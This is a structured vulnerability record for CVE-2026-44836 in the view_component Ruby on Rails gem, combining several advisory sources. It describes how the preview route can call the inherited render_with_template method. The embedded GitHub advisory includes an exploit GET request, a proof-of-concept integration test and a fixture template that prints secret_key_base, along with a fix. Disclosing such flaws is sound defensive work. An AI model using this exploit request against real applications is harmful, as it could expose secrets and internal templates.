{"id":"CVE-2026-44836","aliases":["DEBIAN-CVE-2026-44836","EUVD-2026-31972","GHSA-7f3r-gwc9-2995","UBUNTU-CVE-2026-44836"],"status":"published","title":"view_component: Preview Route Can Dispatch Inherited Helper Methods","description":"view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 3.0.0 to 4.9.0, the preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class. As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:. If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable. This vulnerability is fixed in 4.9.0.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00343,"percentile":0.28078,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-277","CWE-749"],"published":"2026-05-08T23:33:14Z","modified":"2026-10-28T02:30:23Z","fixes":[{"ecosystem":"RubyGems","package":"view_component","fixed_in":["4.9.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"ruby-view-component","fixed_in":["4.12.0-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"RubyGems","package":"view_component","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"4.9.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"ruby-view-component","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.53.0-1","2.53.0-2","2.69.0-1","2.74.0-1","2.74.1-1","2.82.0-1","3.12.1-1","3.13.0-1","3.2.0-1","3.8.0-1","4.12.0-1","4.15.0-1","4.4.0-1","4.4.0-2","4.5.0-1","4.8.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"ruby-view-component","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.12.0-1"}]}],"versions":["2.53.0-1","2.53.0-2","2.69.0-1","2.74.0-1","2.74.1-1","2.82.0-1","3.12.1-1","3.13.0-1","3.2.0-1","3.8.0-1","4.4.0-1","4.4.0-2","4.5.0-1","4.8.0-1"]},{"source":"osv","ecosystem":"RubyGems","package":"view_component","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"4.9.0"}]}],"versions":["3.0.0","3.1.0","3.10.0","3.11.0","3.12.0","3.12.1","3.13.0","3.14.0","3.15.0","3.15.1","3.16.0","3.17.0","3.18.0","3.19.0","3.2.0","3.20.0","3.21.0","3.22.0","3.23.0","3.23.1","3.23.2","3.24.0","3.25.0","3.26.0","3.27.0","3.3.0","3.4.0","3.5.0","3.6.0","3.7.0","3.8.0","3.9.0","4.0.0","4.0.0.alpha1","4.0.0.alpha2","4.0.0.alpha3","4.0.0.alpha4","4.0.0.alpha5","4.0.0.alpha6","4.0.0.alpha7","4.0.0.rc1","4.0.0.rc2","4.0.0.rc3","4.0.0.rc4","4.0.0.rc5","4.0.1","4.0.2","4.1.0","4.1.1","4.2.0","4.3.0","4.4.0","4.5.0","4.6.0","4.7.0","4.8.0"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"ruby-view-component","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.82.0-1","3.8.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"ruby-view-component","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.8.0-1","4.12.0-1"]}],"products":[{"vendor":"github","product":"view_component"},{"vendor":"viewcomponent","product":"view_component"}],"references":[{"url":"https://github.com/ViewComponent/view_component/security/advisories/GHSA-7f3r-gwc9-2995","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-44836.yml","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44836","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7f3r-gwc9-2995"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44836.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-44836","tags":["advisory"]},{"url":"https://github.com/ViewComponent/view_component","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-44836","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44836","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-44836","title":"view_component: Preview Route Can Dispatch Inherited Helper Methods","description":"view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 3.0.0 to 4.9.0, the preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class. As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:. If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable. This vulnerability is fixed in 4.9.0.","status":"published","published":"2026-05-26T19:43:58.008Z","modified":"2026-05-27T13:21:54.259Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-749"],"updated_at":"2026-11-02T13:43:00.288193Z"}],"euvd":[{"id":"EUVD-2026-31972","description":"view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 3.0.0 to 4.9.0, the preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class. As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:. If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable. This vulnerability is fixed in 4.9.0.","status":"published","published":"2026-05-26T19:43:58Z","modified":"2026-05-27T13:21:54Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T18:21:04.78276Z"}],"ghsa":[{"id":"GHSA-7f3r-gwc9-2995","title":"view_component: Preview Route Can Dispatch Inherited Helper Methods","description":"### Summary\n\nThe preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.\n\nAs a result, inherited public methods on `ViewComponent::Preview` are route-reachable. The most important one is `render_with_template`, which accepts `template:` and `locals:`. Those values can come from request params and are later passed to Rails as `render template:`.\n\nIf previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.\n\nSeverity: High if preview routes are externally reachable; Medium otherwise.\n\nAffected files:\n\n- `lib/view_component/preview.rb`\n- `app/controllers/concerns/view_component/preview_actions.rb`\n- `app/views/view_components/preview.html.erb`\n\n\n### Relevant Code\n\n`app/controllers/concerns/view_component/preview_actions.rb`:\n\n```ruby\n@example_name = File.basename(params[:path])\n@render_args = @preview.render_args(@example_name, params: params.permit!)\n```\n\n`lib/view_component/preview.rb`:\n\n```ruby\nexample_params_names = instance_method(example).parameters.map(\u0026:last)\nprovided_params = params.slice(*example_params_names).to_h.symbolize_keys\nresult = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n```\n\n`app/views/view_components/preview.html.erb`:\n\n```erb\n\u003c%= render template: @render_args[:template], locals: @render_args[:locals] || {} %\u003e\n```\n\nThe UI only lists direct preview methods via:\n\n```ruby\npublic_instance_methods(false).map(\u0026:to_s).sort\n```\n\nBut `render_args` does not enforce that list before dispatching.\n\n### Exploit Flow\n\nExample request:\n\n```text\nGET /rails/view_components/my_component/render_with_template?template=internal/secret\u0026locals[poc_local]=attacker-controlled-local\u0026request_marker=attacker-controlled-request\n```\n\nFlow:\n\n1. `my_component` resolves to a valid preview.\n2. `File.basename(params[:path])` returns `render_with_template`.\n3. `render_args` calls inherited `ViewComponent::Preview#render_with_template`.\n4. Request params provide `template: \"internal/secret\"` and `locals: {...}`.\n5. The preview view renders `internal/secret` with attacker-controlled locals.\n\nImpact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.\n\n### PoC Test\n\nThis checkout already contains a PoC at:\n\n- `test/sandbox/test/security_preview_template_poc_test.rb`\n- `test/sandbox/app/views/internal/secret.html.erb`\n\nThe test proves that `/internal/secret` is not directly routable, but can still be rendered through the preview endpoint by invoking inherited `render_with_template`.\n\nIf reproducing manually, run:\n\n```bash\nbundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb\n```\n\nEquivalent standalone test:\n\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\n\nclass SecurityPreviewTemplatePocTest \u003c ActionDispatch::IntegrationTest\n  def setup\n    ViewComponent::Preview.__vc_load_previews\n  end\n\n  def test_preview_route_can_invoke_inherited_render_with_template\n    refute_includes MyComponentPreview.examples, \"render_with_template\"\n\n    assert_raises(ActionController::RoutingError) do\n      Rails.application.routes.recognize_path(\"/internal/secret\")\n    end\n\n    get(\n      \"/rails/view_components/my_component/render_with_template\",\n      params: {\n        template: \"internal/secret\",\n        locals: {poc_local: \"attacker-controlled-local\"},\n        request_marker: \"attacker-controlled-request\"\n      }\n    )\n\n    assert_response :success\n    assert_includes response.body, \"VC_PREVIEW_POC_SECRET=foo\"\n    assert_includes response.body, \"VC_PREVIEW_POC_LOCAL=attacker-controlled-local\"\n    assert_includes response.body, \"VC_PREVIEW_POC_REQUEST=attacker-controlled-request\"\n  end\nend\n```\n\nFixture template:\n\n```erb\n\u003cdiv id=\"poc-secret\"\u003eVC_PREVIEW_POC_SECRET=\u003c%= Rails.application.secret_key_base %\u003e\u003c/div\u003e\n\u003cdiv id=\"poc-local\"\u003eVC_PREVIEW_POC_LOCAL=\u003c%= local_assigns[:poc_local] || local_assigns[\"poc_local\"] %\u003e\u003c/div\u003e\n\u003cdiv id=\"poc-request\"\u003eVC_PREVIEW_POC_REQUEST=\u003c%= params[:request_marker] %\u003e\u003c/div\u003e\n```\n\n### Suggested Fix\n\nOnly dispatch explicitly declared preview examples:\n\n```ruby\ndef render_args(example, params: {})\n  example = example.to_s\n  raise AbstractController::ActionNotFound unless examples.include?(example)\n\n  example_params_names = instance_method(example).parameters.map(\u0026:last)\n  provided_params = params.slice(*example_params_names).to_h.symbolize_keys\n  result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n  result ||= {}\n  result[:template] = preview_example_template_path(example) if result[:template].nil?\n  @layout = nil unless defined?(@layout)\n  result.merge(layout: @layout)\nend\n```\n\nAdd a regression test that `/rails/view_components/my_component/render_with_template` fails unless `render_with_template` is explicitly defined as a preview example on that class.","status":"published","published":"2026-05-08T23:33:14Z","modified":"2026-06-08T23:34:28Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-277","CWE-749"],"updated_at":"2026-11-02T14:40:21.48274Z"}],"nvd":[{"id":"CVE-2026-44836","description":"view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 3.0.0 to 4.9.0, the preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class. As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:. If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable. This vulnerability is fixed in 4.9.0.","status":"published","published":"2026-05-26T21:16:38.71Z","modified":"2026-07-24T11:10:00.17Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-749"],"updated_at":"2026-11-02T14:12:20.511562Z"}],"osv":[{"id":"CVE-2026-44836","title":"view_component: Preview Route Can Dispatch Inherited Helper Methods","description":"view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 3.0.0 to 4.9.0, the preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class. As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:. If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable. This vulnerability is fixed in 4.9.0.","status":"published","published":"2026-05-26T19:43:58.008Z","modified":"2026-10-28T02:30:23.833924325Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-749"],"updated_at":"2026-11-02T15:45:05.172514Z"},{"id":"DEBIAN-CVE-2026-44836","description":"view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 3.0.0 to 4.9.0, the preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class. As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:. If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable. This vulnerability is fixed in 4.9.0.","status":"published","published":"2026-05-26T21:16:38.71Z","modified":"2026-10-01T03:03:14.542539744Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:55.669088Z"},{"id":"GHSA-7f3r-gwc9-2995","title":"view_component: Preview Route Can Dispatch Inherited Helper Methods","description":"### Summary\n\nThe preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.\n\nAs a result, inherited public methods on `ViewComponent::Preview` are route-reachable. The most important one is `render_with_template`, which accepts `template:` and `locals:`. Those values can come from request params and are later passed to Rails as `render template:`.\n\nIf previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.\n\nSeverity: High if preview routes are externally reachable; Medium otherwise.\n\nAffected files:\n\n- `lib/view_component/preview.rb`\n- `app/controllers/concerns/view_component/preview_actions.rb`\n- `app/views/view_components/preview.html.erb`\n\n\n### Relevant Code\n\n`app/controllers/concerns/view_component/preview_actions.rb`:\n\n```ruby\n@example_name = File.basename(params[:path])\n@render_args = @preview.render_args(@example_name, params: params.permit!)\n```\n\n`lib/view_component/preview.rb`:\n\n```ruby\nexample_params_names = instance_method(example).parameters.map(\u0026:last)\nprovided_params = params.slice(*example_params_names).to_h.symbolize_keys\nresult = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n```\n\n`app/views/view_components/preview.html.erb`:\n\n```erb\n\u003c%= render template: @render_args[:template], locals: @render_args[:locals] || {} %\u003e\n```\n\nThe UI only lists direct preview methods via:\n\n```ruby\npublic_instance_methods(false).map(\u0026:to_s).sort\n```\n\nBut `render_args` does not enforce that list before dispatching.\n\n### Exploit Flow\n\nExample request:\n\n```text\nGET /rails/view_components/my_component/render_with_template?template=internal/secret\u0026locals[poc_local]=attacker-controlled-local\u0026request_marker=attacker-controlled-request\n```\n\nFlow:\n\n1. `my_component` resolves to a valid preview.\n2. `File.basename(params[:path])` returns `render_with_template`.\n3. `render_args` calls inherited `ViewComponent::Preview#render_with_template`.\n4. Request params provide `template: \"internal/secret\"` and `locals: {...}`.\n5. The preview view renders `internal/secret` with attacker-controlled locals.\n\nImpact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.\n\n### PoC Test\n\nThis checkout already contains a PoC at:\n\n- `test/sandbox/test/security_preview_template_poc_test.rb`\n- `test/sandbox/app/views/internal/secret.html.erb`\n\nThe test proves that `/internal/secret` is not directly routable, but can still be rendered through the preview endpoint by invoking inherited `render_with_template`.\n\nIf reproducing manually, run:\n\n```bash\nbundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb\n```\n\nEquivalent standalone test:\n\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\n\nclass SecurityPreviewTemplatePocTest \u003c ActionDispatch::IntegrationTest\n  def setup\n    ViewComponent::Preview.__vc_load_previews\n  end\n\n  def test_preview_route_can_invoke_inherited_render_with_template\n    refute_includes MyComponentPreview.examples, \"render_with_template\"\n\n    assert_raises(ActionController::RoutingError) do\n      Rails.application.routes.recognize_path(\"/internal/secret\")\n    end\n\n    get(\n      \"/rails/view_components/my_component/render_with_template\",\n      params: {\n        template: \"internal/secret\",\n        locals: {poc_local: \"attacker-controlled-local\"},\n        request_marker: \"attacker-controlled-request\"\n      }\n    )\n\n    assert_response :success\n    assert_includes response.body, \"VC_PREVIEW_POC_SECRET=foo\"\n    assert_includes response.body, \"VC_PREVIEW_POC_LOCAL=attacker-controlled-local\"\n    assert_includes response.body, \"VC_PREVIEW_POC_REQUEST=attacker-controlled-request\"\n  end\nend\n```\n\nFixture template:\n\n```erb\n\u003cdiv id=\"poc-secret\"\u003eVC_PREVIEW_POC_SECRET=\u003c%= Rails.application.secret_key_base %\u003e\u003c/div\u003e\n\u003cdiv id=\"poc-local\"\u003eVC_PREVIEW_POC_LOCAL=\u003c%= local_assigns[:poc_local] || local_assigns[\"poc_local\"] %\u003e\u003c/div\u003e\n\u003cdiv id=\"poc-request\"\u003eVC_PREVIEW_POC_REQUEST=\u003c%= params[:request_marker] %\u003e\u003c/div\u003e\n```\n\n### Suggested Fix\n\nOnly dispatch explicitly declared preview examples:\n\n```ruby\ndef render_args(example, params: {})\n  example = example.to_s\n  raise AbstractController::ActionNotFound unless examples.include?(example)\n\n  example_params_names = instance_method(example).parameters.map(\u0026:last)\n  provided_params = params.slice(*example_params_names).to_h.symbolize_keys\n  result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n  result ||= {}\n  result[:template] = preview_example_template_path(example) if result[:template].nil?\n  @layout = nil unless defined?(@layout)\n  result.merge(layout: @layout)\nend\n```\n\nAdd a regression test that `/rails/view_components/my_component/render_with_template` fails unless `render_with_template` is explicitly defined as a preview example on that class.","status":"published","published":"2026-05-08T23:33:14Z","modified":"2026-09-10T03:50:45.95487554Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-277","CWE-749"],"updated_at":"2026-11-02T15:46:41.002603Z"},{"id":"UBUNTU-CVE-2026-44836","description":"view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 3.0.0 to 4.9.0, the preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class. As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:. If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable. This vulnerability is fixed in 4.9.0.","status":"published","published":"2026-05-26T21:16:00Z","modified":"2026-10-17T13:00:09.870313908Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:26.396868Z"}]}}
